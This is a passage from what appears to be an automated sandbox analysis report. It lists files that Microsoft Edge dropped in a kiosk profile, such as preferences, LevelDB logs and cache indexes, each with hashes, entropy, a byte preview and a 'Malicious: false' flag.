Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RF621e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566177773629696
Encrypted:	false
SSDEEP:	768:bnynKZWP/DfW18F1+UoAYDCx9Tuqh0VfUC9xbog/OVyH3ssrwrAqipGtuz:bnynKZWP/DfW1u1jaTXsFMqvtk
MD5:	1E64FAE5992E4B27677C5248035564BE
SHA1:	D49934062B3A4F3EAAF62AD24A8C22F99F00B205
SHA-256:	F59F20B3753FF6284DDFF0E50238D3A6D8C82FD19D61403BC2520B17D5B7E7AB
SHA-512:	BEF546787FB844A3ED726F7B07C56157A6B7081FFAAC9EBF0318316CF44E055D42804BD4A0FFE6380ECFAADE8A75FBB41588F9047D40EB39B6349DA5C1FC5B3F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625293213016","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625293213016","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Secure Preferences~RF331a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566177773629696
Encrypted:	false
SSDEEP:	768:bnynKZWP/DfW18F1+UoAYDCx9Tuqh0VfUC9xbog/OVyH3ssrwrAqipGtuz:bnynKZWP/DfW1u1jaTXsFMqvtk
MD5:	1E64FAE5992E4B27677C5248035564BE
SHA1:	D49934062B3A4F3EAAF62AD24A8C22F99F00B205
SHA-256:	F59F20B3753FF6284DDFF0E50238D3A6D8C82FD19D61403BC2520B17D5B7E7AB
SHA-512:	BEF546787FB844A3ED726F7B07C56157A6B7081FFAAC9EBF0318316CF44E055D42804BD4A0FFE6380ECFAADE8A75FBB41588F9047D40EB39B6349DA5C1FC5B3F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625293213016","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625293213016","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.160877598186631
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljl:S85aEFljljljl
MD5:	7733303DBE19B64C38F3DE4FE224BE9A
SHA1:	8CA37B38028A2DB895A4570E0536859B3CC5C279
SHA-256:	B10C1BA416A632CD57232C81A5C2E8EE76A716E0737D10EABE1D430BEC50739D
SHA-512:	E8CD965BCA0480DB9808CB1B461AC5BF5935C3CBF31C10FDF090D406F4BC4F3187D717199DCF94197B8DF24C1D6E4FF07241D8CFFFD9AEE06CCE9674F0220E29
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1296671047197915
Encrypted:	false
SSDEEP:	6:ud+mb+RM1wkn23oH+TcwtSQM72KLlcd+Ojyq2Pwkn23oH+TcwtSQMxIFUv:9rfYeb0LmjyvYfYebrFUv
MD5:	10514ACE036CEE61838D9E8633CDCFA7
SHA1:	C4B6673C4B102F80F5118BD5B5694412B605E766
SHA-256:	7D68C5DF7D0CD553C2253319E1CD4EDEC307C2A4B39169CB5B85541A223552A3
SHA-512:	3FCB8E71989FCC3802A5F9514A506388BA2EB62B7404C61631A9554A5A6FA3DA4C552368B35535223C30B95A258316FFC9C91A47D09919AAF51C50B1BCC1A988
Malicious:	false
Preview:	2024/08/31-20:48:30.254 a74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage since it was missing..2024/08/31-20:48:30.283 a74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.124362673074535
Encrypted:	false
SSDEEP:	6:ud8BZ4M1wkn23oH+TcwtgUh2gr52KLlcd82uEjIq2Pwkn23oH+TcwtgUh2ghZIF2:1BZ4rfYeb3hHJLt2WvYfYeb3hHh2FUv
MD5:	F290782F7131D7F8A8D16C33C06B921D
SHA1:	40824277EBC09666CCBB990006442D195F7793DF
SHA-256:	8128EEC6512C1D16AC3D298B6B81A09210CCBFB90BE5DCA36763035780838AC5
SHA-512:	9B2DF386E74C01307774E9E9651BC590AC140E0FD4FBBA95449BE3754757E15B6CB48652ED39C5007F62D49B744927D33116D4873AC4CDEBF01C2BFF8AB420B5
Malicious:	false
Preview:	2024/08/31-20:48:13.238 1544 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database since it was missing..2024/08/31-20:48:13.406 1544 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsuliT/T/l:LsFTzl
MD5:	69069F629402A00853D37155D8B806F9
SHA1:	D54132AEC384C930A9C8F2E50D04FFC5AEC35242
SHA-256:	5A2F315EE95852C353F4C0E06CD83A66C7242F7B1AE0ECF49518019F343819BC
SHA-512:	773E01306B75BFD894FA1D78186C9096AFDD0D670735F1950EE98D688F107510F0FFCA2D6268CDCB6FE5504DB43086F10144ED5C43D6C48A352C1167640FEE72
Malicious:	false
Preview:	........................................"n.v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9138909867280645
Encrypted:	false
SSDEEP:	3:U2Ku00EyFX:Ut1a
MD5:	E3AC5F279DD44D5C460C4F3AB1D91DDC
SHA1:	6570142B7A36E618B08DE13FD1813FE4D25AAA5C
SHA-256:	5A62A3FFB9F78C37E9B5EEE30FB768A26053BE7690640384D758B92F781C3801
SHA-512:	B338DE2894120CA02DFF061FB56A12C56034865A7644C0B20C15A1F38963D819F54AA245B0269E9FAB0FFE6477CA0EA70A8C1F7E08ED241B025C71889A503718
Malicious:	false
Preview:	(....rO.oy retne...........................v../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9138909867280645
Encrypted:	false
SSDEEP:	3:U2Ku00EyFX:Ut1a
MD5:	E3AC5F279DD44D5C460C4F3AB1D91DDC
SHA1:	6570142B7A36E618B08DE13FD1813FE4D25AAA5C
SHA-256:	5A62A3FFB9F78C37E9B5EEE30FB768A26053BE7690640384D758B92F781C3801
SHA-512:	B338DE2894120CA02DFF061FB56A12C56034865A7644C0B20C15A1F38963D819F54AA245B0269E9FAB0FFE6477CA0EA70A8C1F7E08ED241B025C71889A503718
Malicious:	false
Preview:	(....rO.oy retne...........................v../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:x5i0EfIWT5l:WfI4l
MD5:	903308107765D325BB7368FB4A201FD1
SHA1:	43A131A6DFEBFAA454453F6FC13CF4339689CC70
SHA-256:	33D101D9562A525D8A4A1BA630EE5CC434F253EBE21C5B9F371E401CBD1D0A19
SHA-512:	AF3E2A44343361A9FB41DCD2CC73C30C180828BF1BCE965BF066FC4B341FA67FEF29D1BE6082CE1D0701B847E4FB9A0E49EBC1C97A9FC25F7437B763329221FC
Malicious:	false
Preview:	(...l...oy retne.........................msv../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:x5i0EfIWT5l:WfI4l
MD5:	903308107765D325BB7368FB4A201FD1
SHA1:	43A131A6DFEBFAA454453F6FC13CF4339689CC70
SHA-256:	33D101D9562A525D8A4A1BA630EE5CC434F253EBE21C5B9F371E401CBD1D0A19
SHA-512:	AF3E2A44343361A9FB41DCD2CC73C30C180828BF1BCE965BF066FC4B341FA67FEF29D1BE6082CE1D0701B847E4FB9A0E49EBC1C97A9FC25F7437B763329221FC
Malicious:	false
Preview:	(...l...oy retne.........................msv../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

